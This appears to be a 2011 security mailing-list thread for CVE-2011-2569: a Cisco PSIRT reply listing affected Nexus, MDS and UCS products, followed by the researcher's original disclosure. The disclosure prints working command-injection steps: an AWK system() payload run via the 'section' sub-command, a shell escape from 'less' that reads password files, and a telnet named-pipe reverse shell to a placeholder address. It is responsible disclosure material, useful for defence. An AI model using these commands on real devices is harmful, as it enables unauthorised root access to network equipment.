Hello,
This is Paul Oxman with Cisco PSIRT.

Please confirms the vulnerability reported by Peter Adkins,
and has published an Intellishield response
http://tools.cisco.com/security/center/viewAlert.x?alertId=24458

Additional information below. For current updates to Cisco PSIRT
response, please see the Intellishield response URL stated above.

---

NX-OS - "less" sub-command - Command injection / sanitization issues.

Affected Products:

The following products are affected by this vulnerability:

±----------------------------------------------------------------+
| Affected Product | Cisco Bug | First Fixed |
| | ID | Release |
|-----------------------------------±-----------±---------------|
| Cisco Nexus 7000 Series Switches | CSCtf40008 | 4.2(6) |
| | | 5.1(1) |
|-----------------------------------±-----------±---------------|
| Cisco Nexus 5000 Series Switches | CSCtf40008 | 4.2(1)N2(1) |
|-----------------------------------±-----------±---------------|
| Cisco Nexus 4000 Series Switches | CSCtf40008 | Vulnerable |
| | | Upcoming 1H |
| | | Release |
|-----------------------------------±-----------±---------------|
| Cisco Nexus 2000 Series Switches | CSCtf40008 | 4.1(1)N2(1) |
|-----------------------------------±-----------±---------------|
| Cisco Nexus 1000V Series Switches | CSCtf40008 | 4.2(1)SV1(5.1) |
|-----------------------------------±-----------±---------------|
| Cisco MDS 9000 Software | CSCtf40008 | 4.2(6) |
| | | 5.1(1) |
|-----------------------------------±-----------±---------------|
| Cisco Unified Computing System | CSCtg18363 | 1.3(1c) |
| | | 1.4(1i) |
±----------------------------------------------------------------+

The following are not affected by the "less" sub-command - command
injection vulnerability.

• Cisco Nexus 3000 Series Switches

CVSS Scores:
Nexus Products: AV:L/AC:L/Au:S/C:P/I:P/A:C/E:F/RL:OF/RC:C (5.7/4.7)
UCSM: AV:L/AC:L/Au:S/C:C/I:C/A:C/E:F/RL:OF/RC:C (6.8/5.6)

---

NX-OS - "section" sub-command - Command injection / sanitization issues.

Affected Products:

The following products are affected by this vulnerability:

±-------------------------------------------------------------+
| Affected Product | Cisco Bug | First Fixed |
| | ID | Release |
|-----------------------------------±-----------±------------|
| Cisco Nexus 7000 Series Switches | CSCtr44645 | 5.2(1) |
|-----------------------------------±-----------±------------|
| Cisco Nexus 5000 Series Switches | CSCtr44645 | 5.1(3)N1(1) |
|-----------------------------------±-----------±------------|
| Cisco Nexus 4000 Series Switches | CSCts10195 | Vulnerable |
| | | Upcoming 1H |
| | | Release |
|-----------------------------------±-----------±------------|
| Cisco Nexus 3000 Series Switches | CSCts10188 | 5.0(3)U2(1) |
|-----------------------------------±-----------±------------|
| Cisco Nexus 2000 Series Switches | CSCtr44645 | 5.1(3)N1(1) |
|-----------------------------------±-----------±------------|
| Cisco MDS 9000 Software | CSCtr44645 | 5.2(1) |
|-----------------------------------±-----------±------------|
| Cisco Unified Computing System | CSCtg18363 | 2.0(1m) |
|-----------------------------------±-----------±------------|

The following products are not affected by the "section" sub-command

• command injection vulnerability

• Cisco Nexus 1000V Series Switches

CVSS Scores:
Nexus Products: AV:L/AC:L/Au:S/C:P/I:P/A:C/E:F/RL:OF/RC:C (5.7/4.7)
UCSM: AV:L/AC:L/Au:S/C:C/I:C/A:C/E:F/RL:OF/RC:C (6.8/5.6)

Regards

Paul Oxman
PSIRT Incident Manager

[email protected]
Phone: +65 6317 7418
Pager: [email protected]
Cisco Systems, Inc. Singapore
Cisco.com - http://www.cisco.com/global/SG/ PGP Key: 0x6EA839A6

Have you seen the Security Intelligence Operations Portal http://www.cisco.com/security

Have you seen the new Cisco Security Blog:
http://blogs.cisco.com/security

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• Paul Raymond Oxman <[email protected]>
• 0x6EA839A6

-----Original Message-----
From: [email protected] [mailto:[email protected]]
Sent: Saturday, October 22, 2011 4:14 PM
To: [email protected]
Subject: [CVE-2011-2569] Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Discovery by:
1) Peter Adkins <[email protected]>

Access:
1) Local; authenticated access is required.

CVE-ID:
1) CVE-2011-2569

OS' Affected:
1) Cisco Nexus OS (NX-OS)

Vendor involvement:
1) Alerted - patches available / implemented for some platforms.

Systems / platforms affected:
1) Nexus 7000
2) Nexus 5000
3) Nexus 4000
4) Nexus 3000
5) Nexus 2000
6) Nexus 1000V
7) MDS
8) UCS

Notes:
1) Local access is required. However, unprivileged accounts can gain
access to the underlying Linux operating system, effectively providing
complete access to the device. This could potentially lead to issues
in environments where NOC and other staff are permitted low-level access
for first point of call, etc.

---

NX-OS - "section" sub-command - Command injection / sanitization issues.

This issue was found on the Nexus 7000 platform. It is believed to
also affect the following platforms:

• Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )
• Nexus 5000 ( OS < UNK )
• Nexus 4000 ( OS < UNK )
• Nexus 3000 ( OS < UNK )
• Nexus 2000 ( OS < UNK )
• MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )

The section command appears to be an AWK script to which the requested
string is passed. However, the input does not appear to be sanitized
correctly. As a result, AWK can be used to execute arbitrary commands on the
Linux subsystem.

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011

nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/'
> 20110713.awk

nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011

This can even be used to remove all files on the bootflash and issue a
'reboot' command to the system. However, rebooting from the Linux subsystem
causes the device to spew messages to the console and lock; rather than
actually reloading the device.

---

NX-OS - "less" sub-command - Command injection / sanitization issues.

Believed to affect the following versions of software:

1) Nexus 7000 ( OS < 5.1(1) )
2) Nexus 5000 ( OS < 4.2(1)N2(1) )
3) Nexus 4000 ( OS < UNK)
4) Nexus 2000 ( OS < 4.2(1)N2(1) )
5) UCS* ( OS < 1.4(1i) 1.3(1c) )
6) Nexus 1000V ( OS < UNK )
7) MDS ( OS < 5.1(1) )

• On the UCS platform commands injected are executed as root.

As an example:

switch# sh clock | less

Once less is presented we open files by pressing colon and then "e" and
specifying the path to the file.

bin::1:1:bin:/bin:
daemon::2:2:daemon:/usr/sbin:
sys::3:3:sys:/dev:
ftp::15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm

However, this is just read-only access once again. BUT, if we use the "|"
(pipe) and then "$" key macro, we can execute commands.

!ls -lah > /bootflash/20110715

As shown below, the file has been created on the boot-flash.

switch# dir
97 Jul 15 12:01:44 2011 20110715

Using this method, I have been able to establish a remote shell into the
NX-OS Linux subsystem using the following:

mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs

Even the reboot command is accepted as a valid input. However, rather than
rebooting the device, it causes the system to lock while spewing errors
to the console.

switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot

Broadcast message from root (Fri Jul 15 12:06:39 2011):